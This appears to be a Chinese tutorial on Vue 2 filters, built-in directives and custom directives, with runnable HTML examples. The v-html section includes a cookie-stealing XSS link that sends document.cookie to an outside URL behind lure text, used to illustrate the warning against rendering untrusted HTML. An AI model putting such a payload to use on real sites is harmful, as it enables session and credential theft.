过滤器和自定义指令
过滤器:
定义:
- 对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
- 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
- 使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
- 过滤器可以接收额外参数,多个过滤器也可以串联
- 并没有改变原本的数据,而是产生新的对应的数据
代码示例:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script><script src="../js/vue.js"></script>
</head>
<body>
<div id="app"><h2>时间</h2><h3>当前时间戳:{{time}}</h3><h3>转换后时间:{{time | timeFormater()}}</h3><h3>转换后时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3><h3>截取年月日:{{time | timeFormater() | mySlice}}</h3>
</div>
<script>Vue.config.productionTip = false//全局过滤器Vue.filter('mySlice', function (value) {return value.slice(0, 11)})const vm = new Vue({el: "#app",data: {time: Date.now()},//局部过滤器filters: {timeFormater(value, str = 'YYYY年MM月DD日') {return dayjs(value).format(str)}}})
</script>
</body>
</html>
之前学过的指令:
- v-bind:单向绑定解析表达式,可简写为:
- v-model:双向数据绑定
- v-for:遍历数组 / 对象 / 字符串
- v-on:绑定事件监听,可简写为@
- v-if:条件渲染(动态控制节点是否存存在)
- v-else:条件渲染(动态控制节点是否存存在)
- v-show:条件渲染 (动态控制节点是否展示)
v-text
指令:
-
作用:向其所在的节点中渲染文本内容
-
与插值语法的区别:
v-text
会替换掉节点中的内容,{{xx}}
则不会。
代码示例:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../js/vue.js"></script>
</head>
<body>
<div id="app"><div>你好,{{name}}</div><div v-text="name"></div><div v-text="str">我不会显示在页面上</div>
</div>
<script>Vue.config.productionTip = falseconst vm = new Vue({el: "#app",data: {name: 'hello world',str: '<h3>hello world</h3>'}})
</script>
</body>
</html>
v-html指令:
- 作用:向指定节点中渲染包含html结构的内容
- 与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会
- v-html可以识别html结构
- 严重注意:v-html有安全性问题!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
- 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"/><title>v-html指令</title><script src="../js/vue.js"></script>
</head>
<body>
<div id="root"><div>hello,{{name}}</div><div v-html="str"></div><div v-html="str2"></div>
</div>
</body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {name: 'world',str: '<h3>你好啊!</h3>',str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',}})
</script>
</html>
v-cloak
指令(没有值):
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉
v-cloak
属性 - 使用css配合
v-cloak
可以解决网速慢时页面展示出{{xxx}}
的问题
代码示例:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><style>[v-cloak] {display: none;}</style>
</head>
<body>
<div id="app"><h2 v-cloak>{{name}}</h2>
</div>
<script src="../js/vue.js"></script><!--延迟5秒加载-->
</body>
<script>Vue.config.productionTip = falseconst vm = new Vue({el: "#app",data: {name: 'hello'}})
</script>
</html>
v-once
指令:
-
v-once
所在节点在初次动态渲染后,就视为静态内容了 -
以后数据的改变不会引起
v-once
所在结构的更新,可以用于优化性能
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../js/vue.js"></script>
</head>
<body>
<div id="app"><h2 v-once>n初始化的值是:{{n}}</h2><h2>n现在的值是:{{n}}</h2><button @click="n++">点我n+1</button>
</div>
<script>Vue.config.productionTip = falseconst vm = new Vue({el: "#app",data: {n: 1}})
</script>
</body>
</html>
v-pre
指令:
- 跳过其所在节点的编译过程。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../js/vue.js"></script>
</head>
<body>
<div id="app"><h2 v-pre>Vue很简单</h2><h2 v-pre>当前的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button>
</div>
<script>Vue.config.productionTip = falseconst vm = new Vue({el: "#app",data: {n: 1}})
</script>
</body>
</html>
自定义指令定义语法:
局部指令:
new Vue({
directives:{指令名:配置对象}
})new Vue({
directives:{指令名:回调函数}
})
例如:
directives: {//方式一big(element, binding) {console.log('big', this)//this 指向windowelement.innerText = binding.value * 10},//方式二fbind: {//指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.valueelement.focus()}}
全局指令:
Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数)
例如:
//全局自定义指令Vue.directive('fbind', {//指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.valueelement.focus()}})Vue.directive('big', function (element, binding) {console.log('big', this)//this 指向windowelement.innerText = binding.value * 10})
配置对象中常用的3个回调函数:
bind(element,binding)
:指令与元素成功绑定时调用inserted(element,binding)
:指令所在元素被插入页面时调用update(element,binding)
:指令所在模板结构被重新解析时调用
备注:
-
指令定义时不加“v-”,但使用时要加“v-”
-
指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../js/vue.js"></script>
</head>
<body>
<div id="app"><h2>当前n的值是:<span v-text="n"></span></h2><h2>放大10倍后n的值是:<span v-big="n"></span></h2><h2>放大10倍后n的值是:<span v-big-number="n"></span></h2><button @click="n++">点我n+1</button><hr><input type="text" v-fbind:value="n">
</div><div id="app2"><h2>当前n的值是:<span v-text="n"></span></h2><h2>放大10倍后n的值是:<span v-big="n"></span></h2><button @click="n++">点我n+1</button><hr><input type="text" v-fbind:value="n">
</div>
<script>Vue.config.productionTip = false//全局自定义指令Vue.directive('fbind', {//指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},//指令所在元素被插入页面时inserted(element, binding) {element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value = binding.valueelement.focus()}})Vue.directive('big', function (element, binding) {console.log('big', this)//this 指向windowelement.innerText = binding.value * 10})const vm1 = new Vue({el: "#app",data: {n: 1},// directives: { //局部自定义指令// big(element, binding) {// console.log('big', this)//this 指向window// element.innerText = binding.value * 10// },// 'big-number'(element, binding) {// console.log('big', this)//this 指向window// element.innerText = binding.value * 10// },// fbind: {// //指令与元素成功绑定时(一上来)// bind(element, binding) {// element.value = binding.value// },// //指令所在元素被插入页面时// inserted(element, binding) {// element.focus()// },// //指令所在的模板被重新解析时// update(element, binding) {// element.value = binding.value// element.focus()// }// }// }})const vm2 = new Vue({el: "#app2",data: {n: 1}})
</script>
</body>
</html>